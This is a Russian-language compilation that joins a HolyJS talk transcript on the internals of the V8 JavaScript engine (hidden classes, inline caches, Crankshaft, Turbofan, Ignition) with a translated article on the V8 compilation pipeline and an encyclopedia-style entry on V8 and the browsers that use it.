V8 под капотом / Хабр
Ведущий разработчик Яндекс.Деньги Андрей Мелихов (также редактор/переводчик сообщества devSchacht) на примере движка V8 рассказывает о том, как и через какие стадии проходит программа, прежде чем превращается в машинный код, и зачем на самом деле нужен новый компилятор.
Материал подготовлен на основе доклада автора на конференции HolyJS 2017, которая проходила в Санкт-Петербурге 2-3 июня. Презентацию в pdf можно найти по этой ссылке.
Несколько месяцев назад вышел фильм «Последний убийца драконов». Там, если протагонист убивает дракона, то в мире исчезает магия. Я хочу сегодня выступить антагонистом, я хочу убить дракона, потому что в мире JavaScript нет места для магии. Все, что работает, работает явно. Мы должны разобраться, как оно устроено, чтобы понимать, как оно работает.
Я хочу поделиться с вами своей страстью. В какой-то момент времени я осознал, что плохо знаю, как устроен под капотом V8. Я начал читать литературу, смотреть доклады, которые в основном на английском, накопил знания, систематизировал и хочу их довести до вас.
Интерпретируемый или компилируемый у нас язык?
Я надеюсь, все знают отличие, но повторю. Компилируемые языки: в них исходный код преобразуется компилятором в машинный код и записывается в файл. В них используется компиляция до выполнения. В чем преимущество? Его не нужно повторно компилировать, он максимально автоматизирован для той системы, под которую скомпилирован. В чем недостаток? Если у вас меняется операционная система, и если у вас нет исходников, вы теряете программу.
Интерпретируемые языки – когда исходный код исполняется программой-интерпретатором. Преимущества в том, что легко достичь кроссплатформенности. Мы поставляем наш исходный код как есть, и если в этой системе есть интерпретатор, то код будет работать. Язык JavaScript, конечно, интерпретируемый.
Погрузимся в историю. В 2008 выходит браузер Chrome. В том году Google презентовал новый движок V8. В 2009 году на том же самом движке была представлена Node.js, которая состояла из V8 и библиотеки libUV, которая обеспечивает io, т.е. обращение к файлам, сетевые какие-то вещи и т.д. В общем, две очень важные вещи для нас построены на движке V8. Посмотрим, из чего он состоит.
В 2008 году движок был довольно прост внутри. Ну, относительно прост — схема его была простая. Исходный код попадал в парсер, из парсера — в компилятор, и на выходе мы получали полуоптимизированный код. Полуоптимизированный, потому что хорошей оптимизации тогда еще не было. Возможно, в те годы приходилось писать лучший JavaScript, потому что нельзя было надеяться на то, что оптимизатор его сам внутри заоптимизирует.
Для чего в этой схеме нужен парсер?
Парсер нужен для того, чтобы превращать исходный код в абстрактное синтаксическое дерево или AST. AST – такое дерево, в котором все вершины — операторы, а все листья — это операнды.
Посмотрим на примере математического выражения. У нас такое дерево, все вершины – операторы, ветви – операнды. Чем оно хорошо — тем, что из него очень легко генерировать позже машинный код. Кто работал с Assembler, знает, что чаще всего инструкция состоит из того, что сделать и с чем сделать.
И вот здесь как раз мы можем смотреть, являемся ли мы в текущей точке оператором или операндом. Если это оператор, смотрим его операнды и собираем команду.
Что в JavaScript происходит, если у нас есть, например, массив, и мы запрашиваем из него элемент по индексу 1? Появляется такое абстрактное синтаксическое дерево, у которого оператор «загрузить свойство по ключу», а операнды – это объект и ключ, по которому мы загружаем это свойство.
Зачем в JavaScript компилятор?
Как я сказал, язык у нас интерпретируемый, но в его схеме мы видим компилятор. Зачем он? На самом деле есть два типа компиляторов. Есть компиляторы (ahead-of-time), которые компилируют до выполнения, и компиляторы JIT, которые компилируют во время выполнения. И за счет JIT-компиляции получается хорошее ускорение. Для чего это нужно? Давайте сравним.
Есть один и тот же код. Один на Pascal, другой на JavaScript. Pascal — прекрасный язык. Я считаю, что с него и надо учиться программировать, но не с JavaScript. Если у вас есть человек, который хочет научиться программировать, то покажите ему Pascal или C.
В чем отличие? Pascal может быть и компилируемым и интерпретируемым, а JavaScript требует уже интерпретации. Самое важное отличие – это статическая типизация.
Потому что, когда мы пишем на Pascal, мы указываем переменные, которые необходимы, а потом пишем их типы. Потом компилятору легко построить хороший оптимизированный код. Как мы обращаемся к переменным в память? У нас есть адрес, и у нас есть сдвиг. Например, Integer 32, то мы делаем сдвиг на 32 по этому адресу в память и получаем данные.
В JavaScript нет, у нас типы всегда меняются во время выполнения, и компилятор, когда выполняет этот код, первый раз он его выполняет как есть, но собирает информацию о типах. И второй раз, когда он выполняет ту же самую функцию, он уже основываясь на данных, которые он получил в прошлый раз, предположив, какие были там типы, может сделать какую-то оптимизацию. Если с переменными все понятно, они определяются по значению, то что у нас с объектами?
Ведь у нас JavaScript, у него прототипная модель, и классов для объектов у нас нет. На самом деле есть, но они не видны. Это так называемые Hidden Classes. Они видны только самому компилятору.
Как создаются Hidden Classes?
У нас есть point – это конструктор, и создаются объекты. Сначала создается hidden class, который содержит только сам point.
Дальше у нас устанавливается свойство этого объекта x и из того, что у нас был hidden class, создаётся следующий hidden class, который содержит x.
Дальше у нас устанавливается y и, соответственно, мы получаем еще один hidden class, который содержит x и y.
Так мы получили три hidden class. После этого, когда мы создаем второй объект, используя тот же самый конструктор, происходит то же самое. Уже есть hidden classes, их уже не нужно создавать, с ними необходимо только сопоставить. Для того, чтобы позже мы знали, что эти два объекта одинаковы по структуре. И с ними можно похоже работать.
Но что происходит, когда мы позже еще добавляем свойство в объект p2? Создается новый hidden class, т.е. p1 и p2 уже не похожи. Почему это важно? Потому что, когда компилятор будет перебирать в цикле point, и вот у него будут все такие же, как p1, он их крутит, крутит, крутит, натыкается на p2, а у него другой hidden class, и компилятор уходит в деоптимизацию, потому что он получил не то, что ожидал.
Это так называемая утиная типизация. Что такое утиная типизация? Выражение появилось из американского сленга, если что-то ходит как утка, крякает как утка, то это утка. Т.е. если у нас p1 и p2 по структуре одинаковы, то они принадлежат к одному классу. Но стоит нам добавить в структуру p2 еще, и эти утки крякают по-разному, соответственно, это разные классы.
И вот мы получили данные о том, к каким классам относятся объекты, и получили данные о том, какого рода переменные, где эти данные использовать и как их хранить. Для этого используется система Inline Caches.
Рассмотрим, как происходит создание Inline Caches для этой части. Сначала, когда у нас код анализируется, он дополняется такими вызовами. Это только инициализация. Мы еще не знаем, какого типа будет у нас наш Inline Caches.
Мы можем сказать, что вот в этом месте проиницилизируй его, вот здесь загрузка this.primes:
Вот здесь загрузка по ключу:
А дальше операция BinaryOperation — это не значит, что она двоичная, это значит что она бинарная, а не унарная операция. Операция, у которой есть левая и правая части.
Что происходит во время выполнения?
Когда код доходит, это все подменяется на кусочки кода, которые уже у нас есть внутри компилятора, и компилятор знает, как хорошо работать с этим конкретным случаем, если мы имеем информацию о типе. То есть вот здесь подменяется на вызов кода, который знает, как получить primes из объекта:
Вот здесь подменяется на код, который знает, как получить элемент из массива SMI:
Здесь на код, который знает как посчитать остаток от деления двух SMI:
Он уже будет оптимизирован. И вот так примерно работал компилятор, насыщая такими кусочками.
Это, конечно, дает некоторый overhead, но и дает производительность.
У нас интернет развивался, увеличивалось количество JavaScript, требовалось большая производительность, и компания Google ответила созданием нового компилятора Crankshaft.
Старый компилятор стал называться FullCodegen, потому что он работает с полной кодовой базой, он знает весь JavaScript, как его компилировать. И он производит неоптимизированный код. Если он натыкается на какую-то функцию, которая вызывается несколько раз, он считает, что она стала горячей, и он знает, что компилятор Crankshaft может ее оптимизировать. И он отдает знания о типах и о том, что эту функцию можно оптимизировать в новый компилятор Crankshaft. Дальше новый компилятор заново получает абстрактное синтаксическое дерево. Это важно, что он получает не от старого компилятора AST, а снова идет и запрашивает AST. И зная о типах, делает оптимизацию, и на выходе мы получаем оптимизированный код.
Если он не может сделать оптимизацию, он сваливается в деоптимизацию. Когда это происходит? Вот как я сказал раньше, например, у нас в цикле Hidden Class крутится, потом неожиданное что-то и мы вывалились в деоптимизацию. Или, например, многие любят делать проверку, когда у нас есть что-то в левой части, и мы берем, например, длину, т.е. мы проверяем, есть ли у нас строка, и берем ее длину. Чем это плохо? Потому, что когда у нас строки нет, то в левой части у нас получается Boolean и на выходе получается Boolean, а до этого шел Number. И вот в этом случае мы сваливаемся в деоптимизацию. Или он встретил код, не может его оптимизировать.
На примере того же кода. Вот у нас был код насыщенный инлайн-кэшами, он весь инлайнится в новом компиляторе.
Он вставляет это все инлайново. Причем этот компилятор является спекулятивным оптимизирующим компилятором. На чем он спекулирует? Он спекулирует на знаниях о типах. Он предполагает, что если мы 10 раз вызвали с этим типом, то и дальше будет этот тип. Везде есть такие проверки на то, что пришел тот тип, который он ожидал, и когда приходит тип, которого он не ожидал, то он сваливается в деоптимизацию. Эти улучшения дали хороший прирост производительности, но постепенно команда, занимающаяся движком V8, поняла, что все надо начать с нуля. Почему? Вот есть такой способ разработки ПО, когда мы пишем первую версию, а вторую версию мы пишем с нуля, потому что мы поняли, как надо было писать. И создали новый компилятор – Turbofan в 2014 году.
У нас есть исходный код, который попадает в парсер, далее в компилятор FullCodegen. Так было до этого, никаких отличий. На выходе мы получаем неоптимизированный код. Если мы можем сделать какую-либо оптимизацию, то мы уходим в два компилятора, Crankshaft и Turbofan. FullCodegen сам решает, может ли оптимизировать конкретные вещи компилятор Turbofan, и если может, то отправляет в него, а если не может, то отправляет в старый компилятор. Туда постепенно стали добавлять новые конструкции из ES6. Начали с того, что заоптимизировали asm.js в него.
Зачем нужен новый компилятор?
- Улучшить базовую производительность
- Сделать производительность предсказуемой
- Уменьшить сложность исходного кода
Что значит «улучшить базовую производительность»?
Старый компилятор был написан в те годы, когда у нас стояли мощные десктопы. И его тестировали на таких тестах, как octane, синтетических, которые проверяли пиковую производительность. Недавно была конференция Google I/O, и там менеджер, управляющий разработкой V8, завил, что они отказались в принципе от octane, потому что он не соответствует тому, с чем на самом деле работает компилятор. И это привело к тому, что у нас была очень хорошая пиковая производительность, но очень просела базовая, т.е. были не заоптимизированы вещи в коде, и когда код, хорошо работающий, натыкался на такие вещи, то шло значительное падение производительности. И таких операций скопилось много, вот несколько из них: forEach, map, reduce. Они написаны на обычном JS, нашпигованы проверками, сильно медленней, чем for. Часто советовали использовать for.
Медленная операция bind – она реализована внутри, оказывается, совершенно ужасно. Многие фреймворки писали свои реализации bind. Часто люди говорили, что я сел, написал на коленке bind и он работает быстрее, удивительно. Функции, содержащие try{}catch(e){}(и finally), – очень медленные.
Часто встречалась такая табличка, что лучше не использовать, чтобы не просела производительность. На самом деле код работает медленно, потому что компилятор работает неправильно. И с приходом Turbofan можно забыть об этом, потому что все уже заоптимизировано. Также очень важно: была улучшена производительность асинхронных функций.
Поэтому все ждут релиза новой node’ы, которая недавно вышла, там важна как раз производительность с async/await’ами. У нас язык асинхронный изначально, а пользоваться хорошо мы могли только callback’ами. И кто пишет с promise, знают, что их сторонние реализации работают быстрее, чем нативная реализация.
Следующей была задача сделать производительность предсказуемой. Была ситуация такая: код, который отлично показывал себя на jsPerf, при вставке в рабочий код показывал уже совсем другую производительность. Но и другие такие же случаи, когда мы не могли гарантировать, что наш код будет работать так же производительно, как мы изначально предполагали.
Например, у нас есть такой довольно простой код, который вызывает mymax, и если мы проверим его (при помощи ключей trace-opt и trace-deopt – показывают, какие функции были оптимизированы, а какие нет).
Мы можем запустить это с node, а можем и с D8 – специальной средой, где V8 работает отдельно от браузера. Она нам показывает, что оптимизации были отключены. Потому что слишком много раз запускался на проверку. В чем проблема? Оказывается, псевдомассив arguments — слишком большой, и внутри, оказывается, стояла проверка на размер этого массива. Причем эта проверка, как сказал Benedikt Meurer (ведущий разработчик Turbofan), не имела никакого смысла, она просто copypaste-ом с годами переходила.
И почему ограничена длина? Ведь не проверяется размер стека, ничего, вот просто так была ограничена. Это неожиданное поведение, от которого необходимо было избавляться.
Другой пример, вот у нас есть dispatcher, который вызывает два callback. Так же, если мы его вызовем, то увидим, что он был деоптимизирован. В чем здесь проблема? В том, что одна функция является strict, а вторая не strict. И у них в старом компиляторе получаются разные hidden classes. Т.е. он считает их разными. И в этом случае он так же уходит на деоптимизацию. И этот, и предыдущий код, он написан в принципе правильно, но он деоптимизируется. Это неожиданно.
Еще был вот такой пример в твиттере, когда оказалось, что в некоторых случаях цикл for в chrome работал даже медленнее, чем reduce. Хотя мы знаем, что reduce медленнее. Оказалось, проблема в том, что внутри for использовался let – неожиданно. Я поставил даже последнюю версию на тот момент и результат уже хороший – исправили.
Следующий пункт был — уменьшить сложность. Вот у нас была версия V8 3.24.9 и она поддерживала четыре архитектуры.
Сейчас же V8 поддерживает девять архитектур!
И код копился годами. Он был написан частично на C, Assembler, JS, и вот так примерно ощущал себя разработчик, который приходил в команду.
Код должен легко изменяться, чтобы можно было реагировать на изменения в мире. И с введением Turbofan количество архитектурно-специфичного кода уменьшилось.
С 2013 по 2017 года стало на 29% меньше архитектурно-специфичного кода. Это произошло за счет появления новой архитектуры генерации кода в Turbofan.
Они ее сделали управляемой данными, т.е. у нас есть граф управляющего потока, который содержит данные и знание о том, что с ними должно произойти. И он попадает в общий селектор команд, потом происходит резервирование регистров и далее генерация кода под разные архитектуры. Т.е. разработчику уже не надо знать, как написано все под конкретные архитектуры, а можно сделать более общий код. Вот так все происходило, хорошо улучшали код, но постепенно через несколько лет, после того как написали компилятор для интерпретируемого языка, оказалось, что все же нужен интерпретатор.
А в чем причина? Причину держит в руках Стив Джобс.
Это, конечно, не сам iPhone, а те смартфоны, которые породил iPhone, которые дали удобный доступ в интернет. И это привело к тому, что количество пользователей на мобильных устройствах превысило количество на десктопах.
А первоначально компиляторы разрабатывались для мощных десктопов, а не для мобильных устройств.
Вот схема времени первичного анализа 1МБ JavaScript. И недавно был вопрос, почему ВКонтакте делает серверный рендеринг, а не клиентский. Потому что время, потраченное на анализ JS, может быть в 2-5 раз больше на мобильных устройствах. И это мы говорим о топовых устройствах, а люди зачастую ходят с совсем другими.
И еще одна проблема: у многих китайских устройствах памяти 512 МБ, а если посмотреть, как происходит распределение памяти V8, то появляется еще одна проблема.
Память делится на объекты (то что использует наш код) и кодовые объекты (это то, что использует сам компилятор — например, хранит там inline caches). Получается, что 30% памяти занято виртуальной машиной для поддержки внутреннего использования. Мы не можем этой памятью управлять, ее сам компилятор потребляет.
С этим необходимо было что-то делать, и в 2016 году команда разработчиков Android из Лондона ответила созданием нового интерпретатора Ignition.
Вы могли заметить, что код, оптимизированный компилятором Turbofan, не обращается за синтаксическим деревом в парсер, а получает что-то из интерпретатора. Он получает байт-код.
Теперь абстрактное синтаксическое дерево парсится в байт-код, и этот парсинг JavaScript происходит один раз, дальше используется байткод.
Если кто-то не знает, байткод – это компактное платформонезависимое представление программы. Это чем-то похоже на assembler, только платформонезависимый. Так он называется, потому что все инструкции занимают один байт.
Посмотрим, как для такого кусочка программы генерируется байткод.
У нас есть программа, у нас есть сгенерированный байткод и у нас есть набор регистров.
Так мы устанавливаем значения для этих регистров входные, которые попадут в нашу программу. На первом этапе мы загружаем в специальный регистр accumulator (он нужен для того, чтобы не расходовать лишний раз регистры, а участвует только в вычислениях) smi integer равный 100.
Следующая команда нам говорит, что нужно вычесть из регистра a2 (в табличке видим там 150) предыдущее значение аккумулятора (100). В accumulator мы получили 50.
Дальше нам команда говорит, что нужно сохранить в r0. Он связан с переменной d.
Дальше становится более понятно. Снова загружаем значение из b, умножаем на значение accumulator, добавляем a0 и получаем на выходе, соответственно, 105.
И вся наша программа превращается в длинную цепочку из байткода. Таким образом уменьшилось потребление памяти, которое уходило на хранение нашего кода.
Была вторая проблема, это память, которую потребляли inline caches. Для этого перешли на новые кеши – Data-driven IC, которые уменьшают стоимость медленного пути. Медленный путь – это как работает не оптимизированный код, быстрый код – когда он оптимизирован.
Слева мы видим старую схему. Когда нам нужно найти какое-либо поле в объекте, мы храним знание о том, где оно лежит в объекте, где-то храним этот объект и умеем с ним обращаться. В новой схеме существует управляющий вектор, в котором есть данные и команды, и знание о том, что с этими командами делать. И он проходит по загрузке inline caches, на быстрый путь, если деоптимизация, то на медленный путь. И, соответственно, эта схема уже не требует хранения обращений к объектам, и она получается компактней. В итоге после внедрения схемы потребление памяти на одинаковом коде уменьшилось.
И наконец в этом году схема сильно упростилась.
Здесь мы всегда работаем в компиляторе Turbofan. Можно заметить, что раньше компилятор FullCodegen знал весь JS, а компилятор Crankshaft — только часть JS, а теперь компилятор Turbofan знает весь JS и работает со всем JS. Если он не может оптимизировать, он выдает неоптимизированный код, если может, то, соответственно, оптимизированный. И за кодом он обращается в интерпретатор.
У нас есть классы, которые не видны (многие знают, что в ES6 есть новые классы, но это просто сахар). За ними необходимо следить, ибо код для хорошей производительности должен быть мономорфным, а не полиморфным. Т.е. если у нас изменяются входящие в функцию классы, у них меняется hidden class – у объектов, которые попадают в нашу функцию, то код становится полиморфным и он плохо оптимизируется. Если у нас объекты приходят одного типа hidden class, то, соответственно, код мономорфный.
В V8 код проходит через интерпретатор и JIT-компилятор. Задача JIT-компилятора — сделать код быстрее. JIT-компилятор прогоняет наш код в цикле и каждый раз, основываясь на данных, которые получил в прошлый раз, пытается сделать код лучше. Он наполняет его знанием о типах, которые получает при первом прогоне, и за счет этого делает какие-то оптимизации. В нем внутри лежат кусочки, которые ориентированы для работы с максимальной производительностью. Если у нас в коде есть a+b – это медленно. Мы знаем, что это number+number или string+string, мы можем сделать это быстро. Вот этим занимается JIT-компилятор.
Чем лучше оптимизация, тем выше накладные расходы (время, память). Задача же интерпретатора – уменьшить накладные расходы на память. Даже с приходом Turbofan отказались от некоторых оптимизаций, которые были ранее, потому что решили повышать базовую производительность и немного снижать пиковую.
В компиляторе есть два режима работы – холодный и горячий. Холодный, это когда наша функция запущена в первый раз. Если функция запускалась несколько раз, то компилятор понимает, что она уже горяча, и пытается ее оптимизировать. Здесь есть засада с тестами. Когда разработчики гоняют тесты по много раз и получают какие-либо данные, то это уже оптимизированный горячий код. А в реальности этот код может быть вызван один-два раза и показывать совсем другую производительность. Это необходимо учитывать.
С мономорфным кодом такой же пример. То есть когда мы пишем код, мы можем помочь нашему компилятору. Мы можем писать код так, словно у нас типизированный язык (не переопределять переменные, не записывать в них разные типы, возвращать всегда один и тот же тип).
Вот и все основные секреты.
Ссылки для чтения
github.com/v8/v8/wiki/TurboFan
http://benediktmeurer.de/
http://mrale.ph/
http://darksi.de/
https://medium.com/@amel_true
Если вы любите JS так же, как мы, и с удовольствием копаетесь во всей его нутрянке, вам могут быть интересные вот эти доклады на грядущей московской конференции
HolyJS:
Как работает JavaScript: под капотом движка V8
Сегодня мы заглянем под капот движка JavaScript V8 и выясним, как именно выполняется JavaScript.
Задний план
Веб-стандарты — это набор правил, которые реализует браузер. Они определяют и описывают аспекты Всемирной паутины.
W3C — это международное сообщество, которое разрабатывает открытые стандарты для Интернета. Они следят за тем, чтобы все следовали одним и тем же принципам и не поддерживали десятки совершенно разных сред.
Современный браузер — это довольно сложная программа с кодовой базой, состоящей из десятков миллионов строк кода. Таким образом, он разделен на множество модулей, отвечающих за разную логику.
Двумя наиболее важными частями браузера являются движок JavaScript и движок рендеринга.
Blink — это движок рендеринга, который отвечает за весь конвейер рендеринга, включая деревья DOM, стили, события и интеграцию V8. Он анализирует дерево DOM, определяет стили и определяет визуальную геометрию всех элементов.
Непрерывно отслеживая динамические изменения с помощью кадров анимации, Blink раскрашивает контент на вашем экране. Движок JS — большая часть браузера, но мы еще не вдавались в подробности.
Движок JavaScript 101
Механизм JavaScript выполняет и компилирует JavaScript в собственный машинный код. Каждый крупный браузер разработал свой собственный JS-движок: Google Chrome использует V8, Safari использует JavaScriptCore, а Firefox использует SpiderMonkey.
В частности, мы будем работать с V8, поскольку он используется в Node.js и Electron, но другие движки построены таким же образом.
Каждый шаг будет содержать ссылку на код, отвечающий за него, чтобы вы могли ознакомиться с кодовой базой и продолжить исследование после этой статьи.
Мы будем работать с зеркалом V8 на GitHub, поскольку оно предоставляет удобный и хорошо известный пользовательский интерфейс для навигации по кодовой базе.
Подготовка исходного кода
Первое, что нужно сделать V8, — это загрузить исходный код. Это можно сделать через сеть, кэш или сервис-воркеры.
Как только код получен, нам нужно изменить его так, чтобы компилятор мог его понять. Этот процесс называется парсингом и состоит из двух частей: сканера и самого парсера.
Сканер берет файл JS и преобразует его в список известных токенов. Список всех токенов JS находится в файле keywords.txt.
Анализатор поднимает его вверх и создает абстрактное синтаксическое дерево (AST): древовидное представление исходного кода. Каждый узел дерева обозначает конструкцию, встречающуюся в коде.
Давайте посмотрим на простой пример:
function foo() {
let bar = 1;
return bar;
}
Этот код создаст следующую древовидную структуру:
Пример дерева ASTВы можете выполнить этот код, выполнив обход предварительного заказа (корень, влево, вправо):
- Определите функцию
foo
. - Объявите переменную
bar
. - Назначьте
1
вbar
. - Верните
bar
из функции.
Вы также увидите VariableProxy
— элемент, который связывает абстрактную переменную с местом в памяти. Процесс разрешения VariableProxy
называется анализом объема.
В нашем примере результат процесса VariableProxy
будет указывать на одну и ту же переменную bar
.
Парадигма Just-in-Time (JIT)
Обычно для выполнения кода язык программирования необходимо преобразовать в машинный код. Есть несколько подходов к тому, как и когда может произойти это преобразование.
Наиболее распространенный способ преобразования кода — выполнение предварительной компиляции. Это работает именно так, как звучит: код преобразуется в машинный код перед выполнением вашей программы на этапе компиляции.
Этот подход используется многими языками программирования, такими как C ++, Java и другими.
С другой стороны таблицы у нас есть интерпретация: каждая строка кода будет выполняться во время выполнения. Этот подход обычно используется в языках с динамической типизацией, таких как JavaScript и Python, поскольку невозможно узнать точный тип до выполнения.
Поскольку предварительная компиляция позволяет оценить весь код вместе, она может обеспечить лучшую оптимизацию и в конечном итоге произвести более производительный код. С другой стороны, интерпретацию проще реализовать, но обычно она медленнее, чем скомпилированный вариант.
Чтобы преобразовать код для динамических языков быстрее и эффективнее, был создан новый подход, названный компиляцией Just-in-Time (JIT). Он сочетает в себе лучшее из интерпретации и компиляции.
Используя интерпретацию как базовый метод, V8 может обнаруживать функции, которые используются чаще, чем другие, и компилировать их, используя информацию о типе из предыдущих выполнений.
Однако есть вероятность, что тип может измениться. Вместо этого нам нужно деоптимизировать скомпилированный код и вернуться к интерпретации (после этого мы можем перекомпилировать функцию после получения обратной связи нового типа).
Давайте рассмотрим каждую часть JIT-компиляции более подробно.
Переводчик
V8 использует интерпретатор под названием Ignition. Первоначально он берет абстрактное синтаксическое дерево и генерирует байтовый код.
Инструкции байтового кода также имеют метаданные, такие как позиции исходной строки для будущей отладки. Как правило, инструкции байтового кода соответствуют абстракциям JS.
Теперь возьмем наш пример и сгенерируем для него байт-код вручную:
LdaSmi #1 // write 1 to accumulator
Star r0 // read to r0 (bar) from accumulator
Ldar r0 // write from r0 (bar) to accumulator
Return // returns accumulator
В Ignition есть так называемый аккумулятор — место, где вы можете хранить / читать значения.
Аккумулятор избавляет от необходимости толкать и выдвигать верхнюю часть стопки. Это также неявный аргумент для многих байт-кодов и обычно содержит результат операции. Return неявно возвращает аккумулятор.
Вы можете проверить весь доступный байтовый код в соответствующем исходном коде. Если вам интересно, как другие концепции JS (например, циклы async / await) представлены в байтовом коде, я считаю полезным прочитать эти ожидания тестирования.
Исполнение
После генерации Ignition интерпретирует инструкции, используя таблицу обработчиков, привязанных к байтовому коду. Для каждого байтового кода Ignition может искать соответствующие функции-обработчики и выполнять их с предоставленными аргументами.
Как мы упоминали ранее, этап выполнения также обеспечивает обратную связь типа о коде. Разберемся, как его собирают и управляют.
Во-первых, мы должны обсудить, как объекты JavaScript могут быть представлены в памяти. При наивном подходе мы можем создать словарь для каждого объекта и связать его с памятью.
Первый подход к хранению объектаОднако обычно у нас много объектов с одинаковой структурой, поэтому было бы неэффективно хранить много дублированных словарей.
Чтобы решить эту проблему, V8 отделяет структуру объекта от самих значений с помощью форм объекта (или внутренних карт) и вектора значений в памяти.
Например, мы создаем литерал объекта:
let c = { x: 3 }
let d = { x: 5 }
c.y = 4
В первой строке он создаст фигуру Map[c]
, имеющую свойство x
со смещением 0.
Во второй строке V8 повторно использует ту же форму для новой переменной.
После третьей строки он создаст новую форму Map[c1]
для свойства y
со смещением 1 и создаст ссылку на предыдущую форму Map[c]
.
В приведенном выше примере вы можете видеть, что каждый объект может иметь ссылку на форму объекта, где для каждого имени свойства V8 может найти смещение для значения в памяти.
Формы объектов — это, по сути, связанные списки. Итак, если вы напишете c.x
, V8 перейдет к началу списка, найдет там y
, перейдет к связанной фигуре и, наконец, получит x
и прочитает смещение от нее. Затем он перейдет к вектору памяти и вернет из него первый элемент.
Как вы понимаете, в большом веб-приложении вы увидите огромное количество связанных фигур. В то же время для поиска в связанном списке требуется линейное время, что делает поиск свойств действительно дорогостоящей операцией.
Чтобы решить эту проблему в V8, вы можете использовать встроенный кэш (IC). Он запоминает информацию о том, где найти свойства объектов, чтобы сократить количество поисков.
Вы можете думать об этом как о сайте для прослушивания в вашем коде: он отслеживает все события CALL, STORE и LOAD в функции и записывает все проходящие фигуры.
Структура данных для хранения IC называется вектором обратной связи. Это просто массив для хранения всех микросхем для функции.
function load(a) {
return a.key;
}
Для приведенной выше функции вектор обратной связи будет выглядеть следующим образом:
[{ slot: 0, icType: LOAD, value: UNINIT }]
Это простая функция только с одной ИС, которая имеет тип НАГРУЗКИ и значение UNINIT
. Это означает, что он не инициализирован, и мы не знаем, что будет дальше.
Давайте вызовем эту функцию с разными аргументами и посмотрим, как изменится встроенный кэш.
let first = { key: 'first' } // shape A
let fast = { key: 'fast' } // the same shape A
let slow = { foo: 'slow' } // new shape B
load(first)
load(fast)
load(slow)
После первого вызова функции load
наш встроенный кеш получит обновленное значение:
[{ slot: 0, icType: LOAD, value: MONO(A) }]
Это значение теперь становится мономорфным, что означает, что этот кеш может разрешиться только для формы A.
После второго вызова V8 проверит значение IC и увидит, что оно мономорфно и имеет ту же форму, что и переменнаяfast
. Таким образом, он быстро вернет смещение и разрешит его.
В третий раз форма отличается от сохраненной. Таким образом, V8 вручную разрешит это и обновит значение до полиморфного состояния с помощью массива из двух возможных форм.
[{ slot: 0, icType: LOAD, value: POLY[A,B] }]
Теперь каждый раз, когда мы вызываем эту функцию, V8 необходимо проверять не только одну форму, но и перебирать несколько вариантов.
Для более быстрого кода вы можете инициализировать объекты одним и тем же типом и не слишком сильно менять их структуру.
Примечание. Вы можете помнить об этом, но не делайте этого, если это приведет к дублированию кода или к менее выразительному коду.
Встроенные кеши также отслеживают, как часто они вызываются, чтобы решить, подходит ли он для оптимизации компилятора — Turbofan.
Компилятор
Зажигание только доходит до нас. Если функция становится достаточно горячей, она будет оптимизирована в компиляторе Turbofan, чтобы сделать ее быстрее.
Турбовентилятор берет байтовый код из Ignition и набирает обратную связь (вектор обратной связи) для функции, применяет набор сокращений на его основе и создает машинный код.
Как мы видели ранее, обратная связь типа не гарантирует, что она не изменится в будущем.
Например, оптимизированный код Turbofan основан на предположении, что некоторое дополнение всегда добавляет целые числа.
Но что было бы, если бы он получил строку? Этот процесс называется деоптимизацией. Мы выбрасываем оптимизированный код, возвращаемся к интерпретируемому коду, возобновляем выполнение и обновляем информацию о типе.
Резюме
В этой статье мы обсудили реализацию JS-движка и точные этапы выполнения JavaScript.
Подводя итог, давайте посмотрим на конвейер компиляции сверху.
Мы рассмотрим это шаг за шагом:
- Все начинается с получения кода JavaScript из сети.
- V8 анализирует исходный код и превращает его в абстрактное синтаксическое дерево (AST).
- На основе этого AST интерпретатор Ignition может начать делать свое дело и создавать байт-код.
- В этот момент движок запускает код и собирает отзывы о типах.
- Чтобы он работал быстрее, байтовый код может быть отправлен оптимизирующему компилятору вместе с данными обратной связи. Оптимизирующий компилятор делает на его основе определенные предположения, а затем создает высокооптимизированный машинный код.
- Если в какой-то момент одно из предположений оказывается неверным, оптимизирующий компилятор деоптимизируется и возвращается к интерпретатору.
V8 (движок JavaScript) — это… Что такое V8 (движок JavaScript)?
У этого термина существуют и другие значения, см. V8 (значения).V8 — движок JavaScript с открытым программным кодом, распространяемый по лицензии BSD. Разработан датским отделением компании Google.
О V8
Разработка JavaScript-движка V8 началась в датском отделении Google в городе Орхус. Ведущим разработчиком стал Ларс Бак (Lars Bak). Основными проблемами, которые пришлось решать разработчикам в движке, стали производительность и масштабируемость[6]. Первая лабораторная версия движка появилась 3 июля 2008 года[5], а уже 2 сентября была официально представлена версия 0.2.5, вошедшая в первый публичный релиз Chromium[7].
Ларс Бак считал[8], что краеугольными камнями V8 являются:
- Компиляция исходного кода JavaScript непосредственно в собственный машинный код, минуя стадию промежуточного байт-кода.
- Эффективная система управления памятью, приводящая к быстрому объектному выделению и маленьким паузам сборки «мусора»[9].
- V8 приостанавливает исполнение кода во время выполнения сборки «мусора».
- Уменьшает влияние и воздействие приостановки приложения при сборке «мусора».
- V8 может точно определять, где находятся в памяти объекты и указатели, что позволяет избежать утечки памяти при ложной идентификации объектов в качестве указателей.
- Введение скрытых классов и встроенных кэшей, ускоряющие доступ к свойствам и вызовы функции.
V8 исполняет JavaScript-сценарии в особых «контекстах», которые по сути являются отдельными виртуальными машинами. Правда в одном процессе может работать только одна виртуальная машина, несмотря на возможность использования нескольких потоков[10]. В Chromium это обходится мультипроцессовой архитектурой, повышающей также стабильность и безопасность, реализуя таким образом механизм «песочницы»[11]. Таким образом, несмотря на динамическую природу JavaScript, разработчикам удалось применить методы, характерные для реализации классических объектно-ориентированных языков, такие как компиляция кода «на лету», внутреннее кэширование, точный процесс сборки мусора, снэпшоттинг при создании контекстов[6][10].
Движок V8 отличается от других движков (JScript, SpiderMonkey, JavaScriptCore, Nitro) высокой производительностью[12][13][14][15][16].
Продукты, использующие V8
Браузеры
- Chromium — веб-браузер с открытым исходным кодом, на основе которого создаются ряд браузеров.
- Google Chrome — веб-браузер от Google
- CoolNovo — веб-браузер от Maple Studios, расширяющий возможности Chromium.
- SRWare Iron — веб-браузер от компании SRWare, выпущенный в связи с тем, что Google Chrome отправляет компании Google сведения о пользователе.
- Comodo Dragon — веб-браузер от Comodo с дополнительными функциями, повышающими безопасность и конфиденциальность.
- Рамблер Нихром — веб-браузер от Рамблер с сервисами компании.[17]
- Flock — веб-браузер, нацеленный на работу с социальными сетями[18].
- Яндекс.Браузер — веб-браузер от Яндекс с сервисами компании.[19][20]
- Maxthon — веб-браузер со встроенным блокиратором рекламы, использующий два движка рендеринга: WebKit и Trident.[21]
